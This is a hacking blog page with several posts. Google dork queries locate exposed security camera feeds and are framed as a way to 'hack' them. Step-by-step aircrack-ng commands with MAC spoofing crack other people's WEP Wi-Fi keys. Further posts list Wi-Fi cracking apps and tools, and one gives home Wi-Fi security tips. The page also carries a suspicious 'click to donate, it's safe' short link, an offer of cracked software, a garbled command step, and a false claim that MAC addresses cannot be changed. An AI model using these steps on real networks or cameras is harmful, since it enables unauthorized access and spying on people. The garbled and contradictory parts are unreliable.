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Best4Hack is the site where you can learn Ethical Hacking and Cracking get latest Tips and Tricks free Hacked and Cracked Software get SEO.

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Showing posts with label Wifi Cracking and Hacking. Show all posts
Showing posts with label Wifi Cracking and Hacking. Show all posts

Monday, 29 October 2012

HOW TO HACK SECURITY CAMERA USING GOOGLE DORK



HELLO GUYZ DAVID REX HERE TO TEACH YOU HOW TO HACK SECURITY CAMERA USING GOOGLE DORK.
#PLEASE DONATE SOME MONEY TO US (EASY JUST CLICK AND VIEW THE LINK I GIVE YOU)
DONT WORRY ITS SAFE
1)http://bit.ly/UXJfVx
2)http://bit.ly/UXJfVx

NOW LETS START THE TUTORIAL
1) YOU NEED TO HIDE YOUR IP (FOR SAFETY) .IF YOU DIDNT SAFE ALSO CAN :D
2) COPY ANY OF THE DORK BELOW AND PASTE IN GOOGLE SEARCH .
3) DONT COPY THE (*)
:D

* inurl:”CgiStart?page=”
* inurl:/view.shtml
* intitle:”Live View / – AXIS
* inurl:view/view.shtml
* inurl:ViewerFrame?Mode=
* inurl:ViewerFrame?Mode=Refresh
* inurl:axis-cgi/jpg
* inurl:axis-cgi/mjpg (motion-JPEG) (disconnected)
* inurl:view/indexFrame.shtml
* inurl:view/index.shtml
* inurl:view/view.shtml
* liveapplet
* intitle:”live view” intitle:axis
* intitle:liveapplet
* allintitle:”Network Camera NetworkCamera” (disconnected)
* intitle:axis intitle:”video server”
* intitle:liveapplet inurl:LvAppl
* intitle:”EvoCam” inurl:”webcam.html”
* intitle:”Live NetSnap Cam-Server feed”
* intitle:”Live View / – AXIS”
* intitle:”Live View / – AXIS 206M”
* intitle:”Live View / – AXIS 206W”
 * intitle:”Live View / – AXIS 210?
* inurl:indexFrame.shtml Axis
* inurl:”MultiCameraFrame?Mode=Motion” (disconnected)
* intitle:start inurl:cgistart * intitle:”WJ-NT104 Main Page”
* intitle:snc-z20 inurl:home/
* intitle:snc-cs3 inurl:home/
* intitle:snc-rz30 inurl:home/
* intitle:”sony network camera snc-p1?
* intitle:”sony network camera snc-m1?
* site:.viewnetcam.com -www.viewnetcam.com
* intitle:”Toshiba Network Camera” user login
* intitle:”netcam live image” (disconnected)
 * intitle:”i-Catcher Console – Web Monitor”
(DONT COPY THIS ARTICLE WITHOUT OUR PERMISSION)

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Monday, 15 October 2012

DEFACE PAGE CREATOR



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Friday, 13 January 2012

Four Best WiFi Cracking Applications For your Iphone

1. Aircrack-ng for IPhone:

It is the simple command line with graphical interface software which is used to crack wifi networks . It sends packets to the wifi network and then cracks the password file of the network .It is used widely and can be downloaded from here.

2. IWep Lite:

It is an Iphone applications which let you crack wifi network in less than 30 minutes . It is easy in use and can be understood easily rather than Aircrack-ng . It is Graphical interface with best utility and dictionary . Apart from Aircrac-ng it uses dictionary and so it is less trustworthy than Aircrack and can not crack every key. It is used more widely than Aircrack but it uses dictionary that's why it is on 2nd number. It can be downloaded from here .

3. WepGen:

WepGen is just another application which cracks the Wifi network by sending packets and it is rather easy in use than Aircrack but though it is on 3rd number due to it's popularity. It can be downloaded from here.

4. IWifi Hack:

It works on the same scene as other cracking softwares except iweplite means it sends packets and break in the security of a wifi network . It is easy in use and can easily be used by anyone. It can be download from here.

Saturday, 17 December 2011

WEP Cracking(WIFI),( In Just 5 Minutes ) !

First of all i will tell those who don't know what actually WEP is?

WEP is abbreviation of  Wired Equivalency Protocol, but in lay mans terms its a way for you to secure your wireless communication through a method of encryption, usually already built in a wireless device with several options in order to keep neighbours out.

Method for cracking a WEP Or in short terms Breaking Wifi Security:

 Here is how it can be done:
1. Run Kismet to find your target network. Get the SSID and the channel.
2. Run Airodump and start capturing data.
3. With Aireplay, start replaying a packet on the target network. (You can find a ‘good packet’ by looking at the BSSID MAC on Kismet and comparing it to the captured packet’s BSSID MAC).
4. Watch as Airodump goes crazy with new IVs. Thanks to Aireplay.
5. Stop Airodump when you have about 1,000 IVs.
6. Run Aircrack on the captured file.
7. You should see the WEP key infront of you now.
Cheers

List of programs used:

-Kismet
Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system.
It is designed for Linux.
You can download it at KISMET
A windows version can be downloaded at Kismet Windows Version

-Aircrack (Includes Airodump, Aireplay, Aircrack and optional Airdecap for decrypting WEP/WPA capture files)

-Aircrack is the 802.11 WEP and WPA-PSK keys cracking program that can recover this keys once enough encrypted packets have been captured with airodump.

-Airdecap is used to decrypt WEP/WPA capture files.

-Airmon can be used to configure the wireless card.

-Aireplay is used to inject frames.

-Airodump is used for packet capturing of raw 802.11 frames and is particularly suitable for collecting WEP IVs (initialization vectors) for the intent of using them with aircrack-ng.

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Tuesday, 25 October 2011

Wi-Fi Network Hacking

This tutorial will explain that how to crack wep key using Backtrack..!!




Step 1:-
First Download Backtrack  from the following link:
Step 2:-
Burn the iso image on CD and boot your laptop from CD drive
Step 3:-
Select the third boot option(VESA/KDE).
Step 4:-
Once in BT3, click the tiny black box in the lower left corner to load up a
 "Konsole" window.
Step 5:-
Type the following command
airmon-ng
Note down the interface name. In this example wifi0
Step 6:-
airmon-ng stop wifi0
Step 7:-
ifconfig wifi0 down
Step 8:-
macchanger --mac 00:11:22:33:44:66 wifi0
Step 9:-
airmon-ng start wifi0
Step 10:-
airodump-ng wifi0
This will start populating Wifi networks. Press Ctrl + C to stop.
Check the network with WEP encryption.
Notedown BSSID, CH and ESSID somewhere in notepad or paper
Note that if the same BSSID is available in the second part with STATION associated with it,
means you some one is accessing that network and our task will be little easier.
If not than don’t worry we will still crack it.
Step 11:-
airodump-ng -c (channel) -w (file name)
Replace
(channel) with the CH which u had already n
(file name) with any name of your choice
(bssid) with the BSSID which u had already note
--bssid (bssid) wifi0
Note it
Leave this console as it is and start new konsole
Step 12:-
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:66 wifi0
If you don’t get Association Successful mesage then keep on trying until
you got success.
Step 13:-
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:66 wifi0
Well if you don’t see ARP ACK and sent packets are not increasing or still 0
than it means no 1 is
accessing that network.But don’t worry you go an optional step,
Leave this console as it is and start new k
Step 14:-
aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF
konsole
message than keep on trying until you get success
got an optional step
konsole
–b (bssid) –h 00:11:22:33:44:66 wfi0
Press y and enter
Now you will see that ARP and ACK packets in 2nd console are increasing fast
Keep this console as it is and start 4th console.
Step 15:-
aircrack-ng -b (bssid) (filename)-
Just wait and watch…..Backtrack will do rest of the work.
Hurray we got the key.

Done..!!


Wireless networks are everywhere; they are widely available, cheap, and easy to setup. To avoid the hassle of setting up a wired network in my own home, I chose to go wireless. After a day of enjoying this wireless freedom, I began thinking about security. How secure is my wireless network? 
I searched the Internet for many days, reading articles, gathering information, and participating on message boards and forums. I soon came to the realization that the best way for me to understand the security of my wireless network would be to test it myself. Many sources said it was easy, few said it was hard.

How a wireless network works
A wireless local area network (WLAN) is the linking of 2 or more computers with Network Interface Cards (NICs) through a technology based on radio waves. All devices that can connect to a wireless network are known as stations. Stations can be access points (APs), or clients.
Access points are base stations for the wireless network. They receive and transmit information for the clients to communicate with.
The set of all stations that communicate with each other is referred to as the Basic Service Set (BSS). Every BSS has an Identification known as a BSSID, also known as the MAC address, which is a unique identifier that is associated with  every NIC.
For any client to join a WLAN, it should know the SSID of the WLAN; therefore, the access points typically broadcast their SSID to let the clients know that an AP is in range.
Data streams, known as packets, are sent between the Access Point, and it’s clients. You need no physical access to the network or its wires to pick up these packets, just the right tools. It is with the transmission of these packets that pose the largest security threat to any wireless network.

Wireless Encryption
The majority of home and small business networks are encrypted using the two most popular methods:
  1. WEP & WPA
WEP – Wired Equivalent Privacy – comes in 3 different key lengths: 64, 128, and 256 bits, known as WEP 64, WEP 128, and WEP 256 respectively.  WEP provides a casual level of security but is more compatible with older devices; therefore, it is still used quite extensively. Each WEP key contains a 24 bit Initialization Vector (IV), and a user-defined or automatically generated key; for instance, WEP 128 is a combination of the 24 bit IV and a user entered 26 digit hex key. ((26*4)+24=128)
WEP also comes in WEP2 and WEP+, which are not as common and still as vulnerable as the standard WEP encryption.
WPA – WiFi Protected Access – comes in WPA and WPA2, and was created to resolve several issues found in WEP. Both provide you with good security; however, they are not compatible with older devices and therefore not used as widely. WPA was designed to distribute different keys to each client; however, it is still widely used in a  (not as secure) pre-shared key (PSK) mode, in which every client has the same passphrase.
To fully utilize WPA, a user would need an 802.1x authentication server, which small businesses and typical home users simply cannot afford. WPA utilizes a 48 bit Initialization Vector (IV), twice the size of WEP, which combined with other WEP fixes, allows substantially greater security over WEP.

Packets and IVs
It’s all in the packets. The bottom line is – while you may be able to employ several security features on your WLAN – anything you broadcast over the air can be intercepted, and could be used to compromise the security on your network. If that frightens you, start stringing wires throughout your home.
Every encrypted packet contains a 24 or 48 bit IV, depending on the type of encryption used. Since the pre-shared key is static and could be easily obtained, the purpose of the IV is to encrypt each packet with a different key. For example, to avoid a duplicate encryption key in every packet sent, the IV is constantly changing.  The IV must be known to the client that received the encrypted packet in order to decrypt it; therefore, it is sent in plaintext.
The problem with this method is that the Initialization Vectors are not always the same. In theory, if every IV was different, it would be nearly impossible to obtain the network key; this is not the case. WEP comes with a 24 bit IV; therefore, giving the encryption 16 million unique values that can be used. This may sound like a large number, but when it comes to busy network traffic, it’s not.
Every IV is not different; and this is where the issues arise. Network hackers know that all the keys used to encrypt packets are related by a known IV (since the user entered WEP part of the key is rarely changed); therefore, the only change in the key is 24 bits. Since the IV is randomly chosen, there is a 50% probability that the same IV will repeat after just 5,000 packets; this is known as a collision.
If a hacker knows the content of one packet, he can use the collision to view the contents of the other packet. If enough packets are collected with IV matches, your network’s security can be compromised.

The crack
Two of the most popular programs used for actually cracking the WEP key are Airsnort and Aircrack. Airsnort can be used with the .dump files that Kismet provides; and Aircrack can be used with the .cap files that Airodump provides.
Airsnort can be used on it’s own without any other software capturing packets; although, it has been reported to be extremely unstable in this state, and you should probably not chance loosing all your captured data. A better method would be to let Airsnort recover the encryption key from your Kismet .dump file. Kismet and Airsnort can run simultaneously.
For this demonstration, we’ll be using Aircrack. You can use Airodump to capture the packets, and Aircrack to crack the encryption key at the same time.
With Airodump running, open a new command window and type:
aircrack -f 3 -n 64 -q 3 george.cap
The -f switch followed by a number is the fudgefactor; which is a variable that the program uses to define how thoroughly it scans the .cap file. A larger number will give you a better chance of finding the key, but will usually take longer. The default is 2.
The -n switch followed by 64 represents that you are trying to crack a WEP 64 key. I knew because it was a setup; In the real world there is no way to determine what WEP key length a target access point is using. You may have to try both 64 and 128.
The -q 3 switch was used to display the progress of the software. It can be left out altogether to provide a faster crack; although, if you’ve obtained enough unique IVs, you should not be waiting more than a couple minutes.
-m switch can be used, followed by a MAC address, to filter a specific AP’s usable packets; this would come in handy if you were collecting packets from multiple APs in Airodump.
Aircrack recovered my WEP 64 key within 1 minute using 76,000 unique IVs; the whole process took around 34 minutes.
The same experiment was repeated with WEP 128 and it took about 43 minutes. The reason it was not substantially longer is because I simply let Airplay replay more packets. Sometimes you can get lucky and capture an ARP Request packet within a few minutes; otherwise, it could take a couple hours.



                                                                 WI-FI HACKING TOOLS


I am going to share with you some of my favorite wireless tools that can be used to hack Wi-Fi password using Ubuntu or any other Linux distribution:

Aircrack-ng
Aircrack-ng (a fork of aircrack) is my main tool for cracking Wi-Fi passwords. It has a wireless network detector, a packet sniffer, WEP and WPA/WPA2-PSK cracker, and an analysis tool for 802.11 wireless LANs. Aircrack-ng works with any wireless card whose driver supports raw monitoring mode and can sniff 802.11a, 802.11b and 802.11g traffic.

Download: Aircrack-ng


Kismet 
Kismet is a really good network detector, packet sniffer, and intrusion detection system for 802.11 wireless LANs. It will work with any wireless card which supports raw monitoring mode, and can sniff 802.11a, 802.11b, 802.11g, and 802.11n traffic. Kismet works in passive mode, which means it is capable of detecting the presence of both wireless access points and wireless clients without sending any log-gable packets.
ismet – does a little more than just detecting networks. Aside from providing every detail about a network except the encryption key, Kismet is a packet sniffer and intrusion detection system.

Download: Kismet


NetStumbler

Network Stumbler a.k.a NetStumbler – This Windows based tool easily finds wireless signals being broadcast within range – A must have. It also has ability to determine Signal/Noise info that can be used for site surveys. I actually know of one highly known public wireless hotspot provider that uses this utility for their site surveys.


Download: NetStumbler


SWScanner
SWScanner is specifically designed to make the whole wardriving process a lot easier. It is also intended to manage many tasks related to wireless networking. SWScanner is compatible with NetStumbler files and can be integrated with GPS devices.
These are only three of the many wireless tools that can get you going in no time, so feel free to explore.

Download: SWScanner

Saturday, 17 September 2011

Tips And Tricks On How To Secure Wifi Connection




Wifi stands for Wireless Fidelity.Most of the people rush through while setting up their wifi connection without thinking about the security of their wifi connection.It is quite understandable that they want to connect to Internet as quickly as possible and Moreover securing a wifi network is a bit tricky for most of the people so they give up their hopes quite early and leave their wifi network unsecured.Their are several loopholes through which your unsecured wireless connection can be easily hacked.So ,In this post you will know how to secure your wifi network with simple steps.
If your wireless network has been hacked or accessed by somebody else then it may lead to complete usage of your data if you have a limited data plan or worse it may lead to extra charges on you.Even if you have unlimited data plan then also you will get less speed if your wifi has been hacked.
The step by step  guide given below summarize all the necessary steps you should take for securing your wifi network.

1. Change Default Administrator Passwords (and Usernames)
Whenever you purchase a new moden or new connection then you are required to configure your modem.The modem configuration page can be accessed by entering a username and password for protecting it from unauthorized access.By default the usernames that most of the modem companies use are admin or administrator and the default password that is used is password,public,admin or some other simple word.So change your usename and password as soon as you setup your modem because these username and password combinations are known by most of the hacker .
2. Turn on (Compatible) WPA / WEP Encryption
Most of the modern modems allows both wpa and wep for securing your wifi.Applying these keys will not only encrypt your wifi network connection but it will also apply authentication .So,you should select the strongest encryption to secure your wifi network.
3. Enable MAC Address Filtering
Mac addresses are also known as  physical address of a computer.Mac address is unique address of a computer and it is static and cannot be changed.So,your router can be configured to connect to only to those devices whose MAC address match to the home devices.It will secure your wifi connection by just allowing the home devices to connect to it.
4. Enable Firewalls On Each Computer and the Router
Most of the modern routers come with a inbuilt firewall capability to secure your wifi network.Make sure that your router firewall is turned on if your router has one.On the other hand you can also use firewall in your computers.They provide an extra and a strong layer of protection to secure your wifi connection from hackers or network attackers.
5. Position the Router or Access Point Safely
A small leakage of wifi signal from home to the outside cannot be stopped but the leakage of the signal can be minised to a greater extent by just changing the direction of your antenna of the router.Never place your router near windows instead try to place it in the center of the house.You will get best quality of wifi signal through out home with less leakage of wifi signal to the outer world.
6. Turn Off the Network During Extended Periods of Non-Use
Turn of the router when it is not used.It will secure your wifi connection by giving out less access  time to hackers to your wifi network and it will be difficult for them to hack in short period of time.Moreover it will be saving your electricity which will be a secondary advantage for you.

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